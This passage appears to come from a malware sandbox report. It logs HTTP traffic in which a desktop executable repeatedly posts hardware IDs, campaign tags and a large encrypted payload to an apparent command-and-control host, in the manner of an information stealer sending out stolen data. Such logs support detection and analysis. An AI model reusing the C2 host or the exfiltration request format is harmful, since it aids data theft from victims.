2024-12-27 14:08:56 UTC	12787	OUT	Data Raw: 2d 2d 49 49 45 50 49 39 5a 55 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 49 49 45 50 49 39 5a 55 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 49 45 50 49 39 5a 55 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 49 45 50 49 39 5a 55 47 0d 0a 43 6f 6e 74 65 6e Data Ascii: --IIEPI9ZUGContent-Disposition: form-data; name="hwid"6D89BC804FE66467BEBA0C6A975F1733--IIEPI9ZUGContent-Disposition: form-data; name="pid"2--IIEPI9ZUGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IIEPI9ZUGConten
2024-12-27 14:08:57 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cn5uad12b3b5u5rlf48fqisu91; expires=Tue, 22 Apr 2025 07:55:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7NNtqqraBb4gcq8Mgw98%2BvrmMek2Dg0UFMzRNYOOEm5zh%2B2RQka09BVJ0favINd7pATXWrdviVPErTxc954e4jukEI%2BQM28dqsu6s5NSRhTxQYu5h5pLUbdbQQ0VyMU0dbk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2b319df0fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1584&rtt_var=599&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13717&delivery_rate=1817050&cwnd=222&unsent_bytes=0&cid=6d79cad9ea6fedd8&ts=1031&x=0"
2024-12-27 14:08:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:08:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:08:59 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4DO94P9I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15023 Host: mindhandru.buzz
2024-12-27 14:08:59 UTC	15023	OUT	Data Raw: 2d 2d 34 44 4f 39 34 50 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 34 44 4f 39 34 50 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 44 4f 39 34 50 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 44 4f 39 34 50 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --4DO94P9IContent-Disposition: form-data; name="hwid"6D89BC804FE66467BEBA0C6A975F1733--4DO94P9IContent-Disposition: form-data; name="pid"2--4DO94P9IContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4DO94P9IContent-Di
2024-12-27 14:09:00 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ip6iu8pv0u8e0v01f2rkhvloe; expires=Tue, 22 Apr 2025 07:55:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oUHiCXtb3uyHFGlax5ISmwnPigZvIWnto%2B1jsXUikDDcI4%2F3tQj9wG9OrvNVEcaLqZvmhaeyb6HYgM%2FhahFLkAcbL5BGBgG6WBBYnM5f6GwW%2F9N0uXLC%2BsM2rGz5fk%2BVhpQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2c3eeab0f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1510&rtt_var=608&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2837&recv_bytes=15952&delivery_rate=1933774&cwnd=215&unsent_bytes=0&cid=185e2396d394d45b&ts=1240&x=0"
2024-12-27 14:09:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:09:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:09:01 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KGWUJUKKNCS25W3MYC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: mindhandru.buzz
2024-12-27 14:09:01 UTC	15331	OUT	Data Raw: 2d 2d 4b 47 57 55 4a 55 4b 4b 4e 43 53 32 35 57 33 4d 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 47 57 55 4a 55 4b 4b 4e 43 53 32 35 57 33 4d 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 47 57 55 4a 55 4b 4b 4e 43 53 32 35 57 33 4d 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --KGWUJUKKNCS25W3MYCContent-Disposition: form-data; name="hwid"6D89BC804FE66467BEBA0C6A975F1733--KGWUJUKKNCS25W3MYCContent-Disposition: form-data; name="pid"3--KGWUJUKKNCS25W3MYCContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-27 14:09:01 UTC	5242	OUT	Data Raw: b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-27 14:09:02 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=49dr0dlgv291be77tr8rqspmmq; expires=Tue, 22 Apr 2025 07:55:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JwgkRCJ%2FmCVfKX3sIW2xV2KwwIsKZ8PoF%2BN63hhz9jlh4OoJ%2FLPVYNnnnlujn22jldElyPB%2BIuuZZ%2FKGQS6d5Z2VB4bnDQ4Z1piY4y3n%2FJnxJEtYSagfnhJe%2BMuMaiw4bdA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2d35a148cc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1776&min_rtt=1762&rtt_var=690&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21534&delivery_rate=1553191&cwnd=222&unsent_bytes=0&cid=fba66c6cd57d6cc1&ts=1004&x=0"
2024-12-27 14:09:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:09:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:09:05 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PGNZWWH5LTV3H1C1M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1261 Host: mindhandru.buzz
2024-12-27 14:09:05 UTC	1261	OUT	Data Raw: 2d 2d 50 47 4e 5a 57 57 48 35 4c 54 56 33 48 31 43 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 47 4e 5a 57 57 48 35 4c 54 56 33 48 31 43 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 47 4e 5a 57 57 48 35 4c 54 56 33 48 31 43 31 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --PGNZWWH5LTV3H1C1MContent-Disposition: form-data; name="hwid"6D89BC804FE66467BEBA0C6A975F1733--PGNZWWH5LTV3H1C1MContent-Disposition: form-data; name="pid"1--PGNZWWH5LTV3H1C1MContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-27 14:09:05 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6emvve0v49su4rlnveom8fm0p5; expires=Tue, 22 Apr 2025 07:55:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XENphBrOIq5RI%2BjVVBiP8yVLM8WlbFzdtQhSdbqKKXvEA51JEUh3R%2BHLDVstpFZY6kM4rK9m7Zc00fzgzQF3pNK3O2g4UYgjpbtQJQxdjD71JB0kIxki%2FxPnITEL%2FlhxVW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2e7fe981a0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1836&min_rtt=1834&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2176&delivery_rate=1573275&cwnd=249&unsent_bytes=0&cid=cdbc8d39c8a8e3b4&ts=775&x=0"
2024-12-27 14:09:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:09:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:09:07 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2GY6S3SZ8O5LPET User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570680 Host: mindhandru.buzz
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 2d 2d 32 47 59 36 53 33 53 5a 38 4f 35 4c 50 45 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 47 59 36 53 33 53 5a 38 4f 35 4c 50 45 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 47 59 36 53 33 53 5a 38 4f 35 4c 50 45 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --2GY6S3SZ8O5LPETContent-Disposition: form-data; name="hwid"6D89BC804FE66467BEBA0C6A975F1733--2GY6S3SZ8O5LPETContent-Disposition: form-data; name="pid"1--2GY6S3SZ8O5LPETContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 0c 22 c1 0b 7b a9 da d9 56 62 75 ed ad 19 8b 74 7f de df 2f 04 c1 c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d 3f a8 a1 ba 7d de c4 85 4d 9a e8 b9 31 b1 03 ea 82 b2 e1 df be 01 24 82 4f 0d 94 66 25 9d 73 4e c7 e6 6a 21 8e Data Ascii: "{Vbut/`%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=?}M1$Of%sNj!
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 77 a8 ea e1 f2 68 80 0f 31 e1 d1 4a bc 46 8e e8 5e 86 a7 d8 5c fb 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 de 7c 57 4d e8 38 5e e2 23 6e 08 1e 7c 98 89 7a ad 54 ac 47 29 d8 db 62 b0 b3 e7 94 52 d9 52 e3 26 16 0e 7a fa Data Ascii: wh1JF^\H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,\|WM8^#n\|zTG)bRR&z
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 88 ff a5 81 d4 f0 19 44 c7 28 74 67 68 98 ad fe 92 b7 e3 25 5c 99 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 9e ed 79 2f 06 2c af 00 4b 4c d9 47 40 95 5c 77 77 3d 90 a1 06 0a e3 ff 4c 2f 4b 23 66 5a 82 36 a3 64 16 74 85 Data Ascii: D(tgh%\HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9 y/,KLG@\ww=L/K#fZ6dt
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 72 66 48 5c 57 ab 2d 17 e0 e1 94 99 83 e4 9c 2a a9 5e de 35 76 90 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc dc 8f c1 60 6e c2 b5 05 75 68 29 2c 34 32 32 88 1c ee b7 a9 d9 cf 47 b5 68 6e 0a 2a 30 27 2d 9c 21 98 9e 38 15 Data Ascii: rfH\W-^5vE!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG`nuh),422Ghn*0'-!8
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: cd 5a 7f 9b 91 5d 02 71 94 f3 2c 35 ce 47 9a f1 ad 6d d4 d6 d4 2c b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e c2 66 dd 45 65 40 58 1b ec fa 79 cb 90 9d e1 be 6e 39 e4 aa 00 a2 8e f4 ae e9 41 43 92 e9 24 36 c5 05 46 3e d7 Data Ascii: Z]q,5Gm,Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@fEe@Xyn9AC$6F>
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 5e b3 dd a7 9a c0 e8 e6 e6 33 44 3b ab 43 6e e0 80 59 b2 a1 a0 d8 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c 13 7c 07 64 05 83 4b bb 91 80 20 da 1c b4 35 c6 a8 03 7e 7d 60 be b3 30 9f 12 d9 24 7d e0 37 d6 8d ae 11 03 66 Data Ascii: ^3D;CnY1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~\|dK 5~}`0$}7f
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: bf 28 83 ee 9a 98 9c 77 63 d9 0e c4 e8 2b 69 41 26 e2 7d a5 d3 e7 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 b6 16 69 33 e7 d6 7c 27 6f 2d 07 91 89 00 23 0b ed 18 4d 7f cf c8 c3 1a 91 7d 19 43 b6 b3 ec d9 1f 22 ea b4 87 Data Ascii: (wc+iA&}\'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>ji3\|'o-#M}C"
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: 8f af 36 da c6 8e 32 1e 28 ca b7 d5 10 3d c6 0e e3 a2 55 bb 00 77 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb 